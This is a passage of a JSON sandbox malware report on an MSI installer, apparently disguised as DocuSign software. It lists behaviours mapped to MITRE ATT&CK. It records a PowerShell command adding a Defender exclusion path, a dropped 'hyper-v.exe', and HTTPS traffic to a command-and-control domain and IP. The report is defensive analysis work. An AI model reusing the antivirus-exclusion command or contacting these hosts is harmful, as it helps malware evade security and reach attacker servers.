string)","description":"Found reference to API \"ShowWindow\" (Indicator: \"ShowWindow\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetWindowThreadProcessId\" (Indicator: \"GetWindowThreadProcessId\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1564.003","relevance":1,"id":"string-208","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains reference to licensed c/c++ library","description":"Found string \"Copyright (c) 1992-2004 by P.J. Plauger, licensed by Dinkumware, Ltd. ALL RIGHTS RESERVED.\" (Indicator: \"Copyright (c) 1992-2004 by P.J. Plauger\n licensed by Dinkumware\n Ltd. ALL RIGHTS RESERVED.\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1027","relevance":1,"id":"string-462","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Contains registry location strings","description":"$32","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-120","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Creates mutants","description":"\"SM0:4680:168:WilStaging_02\"\n \"Local\\SM0:4680:168:WilStaging_02\"","origin":"Created Mutant","mitre_attack_id":"T1480","relevance":3,"id":"mutant-0","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Detected expand command line utility (used to expand or compress files)","description":"Process \"EXPAND.EXE\" with commandline \"-R files.cab -F:* files\" (UID: 00000000-00007016)","origin":"Monitored Target","mitre_attack_id":"T1140","relevance":3,"id":"target-317","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Fails to load modules at runtime","description":"\"powershell.exe\" failed to load missing module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" - [base:0; Status:ffffffffc0000135]","origin":"API Call","mitre_attack_id":"T1574.002","relevance":1,"id":"api-22","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Loads modules at runtime","description":"$33","origin":"API Call","mitre_attack_id":"T1129","relevance":1,"id":"api-7","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Loads the Bcrypt module DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\System32\\bcryptprimitives.dll\" at CCAF0000\n \"msiexec.exe\" loaded module \"%WINDIR%\\System32\\bcrypt.dll\" at CB550000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73510000\n \"ICACLS.EXE\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000\n \"EXPAND.EXE\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000\n \"setup0324.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000\n \"setup0324.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcrypt.dll\" at 73510000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000\n \"systeminfo.exe\" loaded module \"%WINDIR%\\SysWOW64\\bcryptprimitives.dll\" at 74730000","origin":"Loaded Module","mitre_attack_id":"T1027","id":"module-9","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Loads the CLR Loader DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework64\\v4.0.30319\\clr.dll\" at 9F680000\n \"powershell.exe\" loaded module \"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" at 71980000","origin":"Loaded Module","mitre_attack_id":"T1620","id":"module-7","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Loads the RPC (Remote Procedure Call) module DLL","description":"\"msiexec.exe\" loaded module \"%WINDIR%\\System32\\rpcrt4.dll\" at CDDD0000\n \"MsiExec.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000\n \"ICACLS.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000\n \"EXPAND.EXE\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000\n \"setup0324.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000\n \"powershell.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000\n \"systeminfo.exe\" loaded module \"%WINDIR%\\SysWOW64\\rpcrt4.dll\" at 74670000","origin":"Loaded Module","mitre_attack_id":"T1129","id":"module-10","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Matched Compiler/Packer signature (DIE)","description":"\"setup0324_or_1.msi\" was detected as \"Microsoft Installer(MSI)\" and name: \"Installer\"\n \"setup0324_or_1.msi\" was detected as \"Microsoft Compound\" and name: \"Data\"","origin":"Static Parser","mitre_attack_id":"T1027","id":"static-157","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"May execute SQL queries","description":"\"SELECT `Data` FROM `Binary` WHERE `Name` = '%s'\" (Source: setup0324_or_1.msi, Indicator: \"select `data` from `binary` where `name` = '%s'\")","origin":"File/Memory","mitre_attack_id":"T1005","relevance":1,"id":"string-605","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Process launched with changed environment","description":"$34","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":10,"id":"target-67","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Queries DNS server","description":"\"sysoieaosgwoeesa.xyz\"","origin":"Network Traffic","mitre_attack_id":"T1071.004","relevance":1,"id":"network-51","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Reads information about supported languages","description":"\"setup0324.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"setup0324.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"setup0324.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EN-US\")\n \"powershell.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\EXTENDEDLOCALE\"; Key: \"EN-US\")\n \"systeminfo.exe\" (Path: \"HKLM\\SYSTEM\\CONTROLSET001\\CONTROL\\NLS\\CUSTOMLOCALE\"; Key: \"EMPTY\")","origin":"Registry Access","mitre_attack_id":"T1082","relevance":3,"id":"registry-25","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"References Windows filepaths for DLLs (possible dropped files)","description":"Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoreei.dll\" [Source: 00000000-00006420-00000C2C-1046906705]\n Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\clr.dll\" [Source: 00000000-00006420-00000C29-2387934622]\n Observed system executable string:\"%WINDIR%\\Microsoft.NET\\Framework\\v4.0.30319\\mscoree.dll\" [Source: 00000000-00006420-00000C29-2388128879]\n Observed system executable string:\"%WINDIR%\\system32\\combase.dll\" [Source: 00000000-00006420-00000C29-2388222591]\n Observed system executable string:\"%WINDIR%\\assembly\\NativeImages_v4.0.30319_32\\mscorlib\\36eaccfde177c2e7b93b8dbdde4e012a\\mscorlib.ni.dll\" [Source: 00000000-00006420-00000C29-2388762452]","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-625","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Spawns new processes","description":"Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00006284)\n Spawned process \"MsiExec.exe\" with commandline \"-Embedding 4F2DCE5A80A2193840B9F00648E56D21\" (UID: 00000000-00005224)\n Spawned process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\\\.\" /SETINTEGRI ...\" (UID: 00000000-00005712)\n Spawned process \"EXPAND.EXE\" with commandline \"-R files.cab -F:* files\" (UID: 00000000-00007016)\n Spawned process \"setup0324.exe\" with commandline \"/VERYSILENT /VERYSILENT\" (UID: 00000000-00004680)\n Spawned process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Micr ...\" (UID: 00000000-00006420), Spawned process \"systeminfo.exe\" (UID: 00000000-00007480)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-25","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"General","name":"Spawns new processes that are not known child processes","description":"Spawned process \"msiexec.exe\" with commandline \"/V\" (UID: 00000000-00006284)\n Spawned process \"MsiExec.exe\" with commandline \"-Embedding 4F2DCE5A80A2193840B9F00648E56D21\" (UID: 00000000-00005224)\n Spawned process \"ICACLS.EXE\" with commandline \"\"%TEMP%\\\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\\\.\" /SETINTEGRI ...\" (UID: 00000000-00005712)\n Spawned process \"EXPAND.EXE\" with commandline \"-R files.cab -F:* files\" (UID: 00000000-00007016)\n Spawned process \"setup0324.exe\" with commandline \"/VERYSILENT /VERYSILENT\" (UID: 00000000-00004680)\n Spawned process \"powershell.exe\" with commandline \"powershell Add-MpPreference -ExclusionPath \"%LOCALAPPDATA%\\\\Micr ...\" (UID: 00000000-00006420), Spawned process \"systeminfo.exe\" (UID: 00000000-00007480)","origin":"Monitored Target","mitre_attack_id":"T1057","relevance":3,"id":"target-103","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Contains ability to load modules (API string)","description":"Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"LoadLibraryA\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"LoadLibraryExW\" (Indicator: \"LoadLibrary\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-310","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Creates a thread in a self process","description":"\"setup0324.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)\n \"powershell.exe\" creates a thread in process \"-1\" (Handle: FFFFFFFFFFFFFFFF)","origin":"API Call","mitre_attack_id":"T1055.003","relevance":3,"id":"api-264","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Dropped files","description":"$35","origin":"Binary File","mitre_attack_id":"T1105","relevance":3,"id":"binary-0","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Opens registry keys","description":"$36","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-177","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries basic information of the specified process","description":"\"setup0324.exe\" queries basic process information of the \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\files\\setup0324.exe\" (UID: 4680)","origin":"API Call","mitre_attack_id":"T1057","relevance":1,"id":"api-235","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Queries registry keys","description":"$37","origin":"Registry Access","mitre_attack_id":"T1012","relevance":1,"id":"registry-172","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Reads files","description":"\"setup0324.exe\" reads file \"c:\\users\\%osuser%\\appdata\\local\\temp\\mw-c90d4aa2-ee34-459f-9c16-57523c236c94\\files\\setup0324.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-243","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Shows ability to use execution guardrails","description":"The analysis shows indicators which can be used as execution guardrails to ensure that payload only executes against intended targets/system. Matched sigs: Able to identify virtual environment using user register activity\n Matched sigs: Contains ability to delay execution by waiting for signal/timeout (API string)\n Matched sigs: Able to identify virtual environment by using user activity (API string)\n Matched sigs: Contains ability to retrieve the time elapsed since the system was started (API string)","origin":"Indicator Combinations","mitre_attack_id":"T1480","relevance":1,"id":"summary-29","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files","description":"\"setup0324.exe\" trying to touch file \"C:\\Windows\\System32\\WOW64LOG.DLL\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\apphelp.dll\"\n \"setup0324.exe\" trying to touch file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Temp\\MW-c90d4aa2-ee34-459f-9c16-57523c236c94\\files\\setup0324.exe\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\ntdll.dll\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\kernel32.dll\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\SysWOW64\\KernelBase.dll\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\apppatch\\sysmain.sdb\"\n \"setup0324.exe\" trying to touch file \"C:\\Windows\\Temp\\VxSSL32.dll\"","origin":"API Call","mitre_attack_id":"T1083","relevance":1,"id":"api-263","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Touches files in the Windows directory","description":"\"setup0324.exe\" touched file \"C:\\Users\\%OSUSER%\\AppData\\Local\\Microsoft\\Windows\\hyper-v.exe\"\n \"setup0324.exe\" touched file \"%LOCALAPPDATA%\\Microsoft\\Windows\\hyper-v.exe\"","origin":"API Call","mitre_attack_id":"T1083","relevance":7,"id":"api-55","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (executable)","description":"$38","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-126","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Tries to access non-existent files (non-executable)","description":"$39","origin":"API Call","mitre_attack_id":"T1083","relevance":3,"id":"api-161","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Installation/Persistence","name":"Writes files","description":"\"setup0324.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\microsoft\\windows\\hyper-v.exe\"\n \"setup0324.exe\" writes file \"c:\\users\\%osuser%\\appdata\\local\\hyper-v.ver\"\n \"setup0324.exe\" writes file \"%localappdata%\\microsoft\\windows\\hyper-v.exe\"\n \"setup0324.exe\" writes file \"%localappdata%\\hyper-v.ver\"","origin":"API Call","relevance":1,"id":"api-242","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Communicates with HTTP webserver (GET/POST requests)","description":"Found http requests in header \"GET /api/client_hello\"\n Found http requests in header \"POST /api/client/new\"\n Found http requests in header \"POST /tasks/get_worker\"\n Found http requests in header \"POST /tasks/collect\"","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-62","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Contains ability to communicate with network (API string)","description":"Found reference to API \"WSASend\" (Indicator: \"WSASend\"; Source: \"00000000-00004680-00000C2A-2385895890\")\n Found reference to API \"WSARecv\" (Indicator: \"WSARecv\"; Source: \"00000000-00004680-00000C2A-2385896799\")","origin":"File/Memory","mitre_attack_id":"T1071","relevance":1,"id":"string-601","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Found potential IP address in binary/memory","description":"Potential IP \"2.7.3.39\" found in string \"Docusign Edit 2.7.3.39\"\n Potential IP \"11.0.53.0\" found in string \"MSI Wrapper (11.0.53.0)\"\n \"192.168.0.2\"\n Potential IP \"3.0.0.0\" found in string \"ystem.Management.Automation.resources,3.0.0.0,en-US,31bf3856ad364e35\"\n \"0.0.0.00000\"\n \"0.0.0.0\"\n \"4.0.0.0\"\n Potential IP \"4.0.0.0\" found in string \"n=4.0.0.0, C\"","origin":"File/Memory","mitre_attack_id":"T1071","id":"string-14","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Found potential URL in binary/memory","description":"$3a","origin":"File/Memory","mitre_attack_id":"T1071","relevance":3,"id":"string-3","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Found potential URLs in memory dumps","description":"Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00004680.00000000.211724.02EC0000.00000004.mdmp\")\n Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00004680.00000001.213645.02EC0000.00000004.mdmp\")\n Found URL \"http://(?:(https?):)?(?://(?:\\[([\\d:]+)\\]\" - Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp\")\n Found URL \"http://www.w3.org/2001/xmlschema-instance\" - Source: \"00000000-00004680.00000002.215565.02EC0000.00000004.mdmp\")\n Found URL \"http://(?:(https?):)?(?://(?:\\[([\\d:]+)\\]\" - Source: \"00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"Memory Dumps","mitre_attack_id":"T1071","relevance":1,"id":"memorydump-2","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Found string related to HTTP headers","description":"Found string \"HTTP/1.0\" (Indicator: \"HTTP/1.0\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found string \"%s %s HTTP/1.1\" (Indicator: \"HTTP/1.1\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1071.001","relevance":1,"id":"string-457","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"GETs files from a webserver (HTTPS)","description":"GET /api/client_hello HTTP/1.1\nAccept: */*\nConnection: close\nHost: sysoieaosgwoeesa.xyz:443\nUser-Agent: cpp-httplib/0.12.1\n","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":3,"id":"network-72","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"High entropy domain detected","description":"Contacted domain: \"sysoieaosgwoeesa.xyz:443\" has high entropy","origin":"Network Traffic","mitre_attack_id":"T1568.002","relevance":5,"id":"network-81","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Sends GET/POST requests (HTTPS)","description":"Found HTTPS GET request to https://sysoieaosgwoeesa.xyz:443/api/client_hello\n Found HTTPS POST request to https://sysoieaosgwoeesa.xyz:443/api/client/new\n Found HTTPS POST request to https://sysoieaosgwoeesa.xyz:443/tasks/get_worker\n Found HTTPS POST request to https://sysoieaosgwoeesa.xyz:443/tasks/collect","origin":"Network Traffic","mitre_attack_id":"T1071.001","relevance":1,"id":"network-66","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Shows ability to send encrypted data to the internet","description":"Sample contains ability to use Microsoft's Enhanced Cryptographic Provider APIs and contains ability to communicate with network","origin":"Indicator Combinations","mitre_attack_id":"T1119","relevance":2,"id":"summary-27","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Network Related","name":"Uses HTTPS for communication","description":"HTTPS traffic to \"92.118.112.155\" on port \"443\"","origin":"Network Traffic","mitre_attack_id":"T1573","relevance":3,"id":"network-38","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Remote Access Related","name":"Contains references to RPC protocol sequence strings","description":"Found string \"+ncalrpc:[OLEEEC407088A73BBB5206BF7823E6C]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00006420.00000000.216677.00960000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE475474050D74B59A101B466BB786]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")\n Found string \"B+ncalrpc:[OLE475474050D74B59A101B466BB786]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")\n Found string \"+ncalrpc:[OLE7D5B555809EEC9F02BA0B3587DA9]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")\n Found string \"9ncalrpc:[epmapper,Security=Impersonation Dynamic False]\" (Indicator: \"ncalrpc\"; Source: \"00000000-00007480.00000000.216734.02710000.00000004.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1090","relevance":1,"id":"string-531","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Able to determine the valid logical drives on the computer","description":"Found string \"GetLogicalDriveStringsW\" (Indicator: \"getlogicaldrivestringsw\"; Source: \"00000000-00004680-00000C2A-2385842156\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-730","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for searching a directory for files","description":"$3b","origin":"API Call","mitre_attack_id":"T1083","relevance":5,"id":"api-102","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used for taking snapshot of the specified processes","description":"\"setup0324.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"powershell.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}\n \"systeminfo.exe\" called \"CreateToolhelp32Snapshot\" with parameters {\"dwFlags\": \"4\"\n \"th32ProcessID\": \"0\"}","origin":"API Call","mitre_attack_id":"T1057","relevance":3,"id":"api-103","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Calls an API typically used to retrieve information about the current system","description":"\"setup0324.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}\n \"powershell.exe\" called \"GetNativeSystemInfo\" with parameters {\"lpSystemInfo\": \"090000000010000000000100fffffeff0300000002000000d8210000000001000600004f\"}","origin":"API Call","mitre_attack_id":"T1082","relevance":3,"id":"api-108","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains CRYPTO related strings","description":"$3c","origin":"File/Memory","mitre_attack_id":"T1027","relevance":3,"id":"string-57","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to capture screen (API string)","description":"$3d","origin":"File/Memory","mitre_attack_id":"T1113","relevance":1,"id":"string-78","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate files on disk (API string)","description":"Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"FindFirstFileExW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"FindNextFileW\" (Indicator: \"FindNextFile\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"FindFirstFileW\" (Indicator: \"FindFirstFile\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-83","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to enumerate process and/or its information (API string)","description":"$3e","origin":"File/Memory","mitre_attack_id":"T1057","relevance":1,"id":"string-85","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to query registry keys (API string)","description":"$3f","origin":"File/Memory","mitre_attack_id":"T1012","relevance":1,"id":"string-229","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to read files (API string)","description":"Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"ReadFile\" (Indicator: \"ReadFile\"; Source: \"00000000-00007480.00000000.216734.00232000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1083","id":"string-534","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve a module handle (API string)","description":"$40","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-427","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve address of exported function from a DLL (API string)","description":"Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; File: \"setup0324_or_1.msi\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")\n Found reference to API \"GetProcAddress\" (Indicator: \"GetProcAddress\"; Source: \"00000000-00006420.00000000.216677.00DC1000.00000002.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1106","relevance":1,"id":"string-317","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve data about the local computer (API string)","description":"Found reference to API \"InterlockedExchange\" (Indicator: \"InterlockedExchange\"; File: \"setup0324_or_1.msi\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":3,"id":"string-115","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve file and directory information (API string)","description":"$41","origin":"File/Memory","mitre_attack_id":"T1083","relevance":1,"id":"string-207","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about operating system (API string)","description":"Found reference to API \"RtlGetVersion\" (Indicator: \"RtlGetVersion\"; Source: \"00000000-00004680.00000001.213645.03370000.00000040.mdmp, 00000000-00004680.00000002.215565.03370000.00000040.mdmp\")","origin":"File/Memory","mitre_attack_id":"T1082","relevance":1,"id":"string-86","sources":[{"report_type":"sandbox","report_id":"6803d014752ab4b7e300e065"}]},{"level":"informative","category":"Spyware/Information Retrieval","name":"Contains ability to retrieve information about pressed keystrokes (API string)","description":"Found reference to API \"AttachThreadInput\" (Indicator: \"AttachThreadInput\"; File: 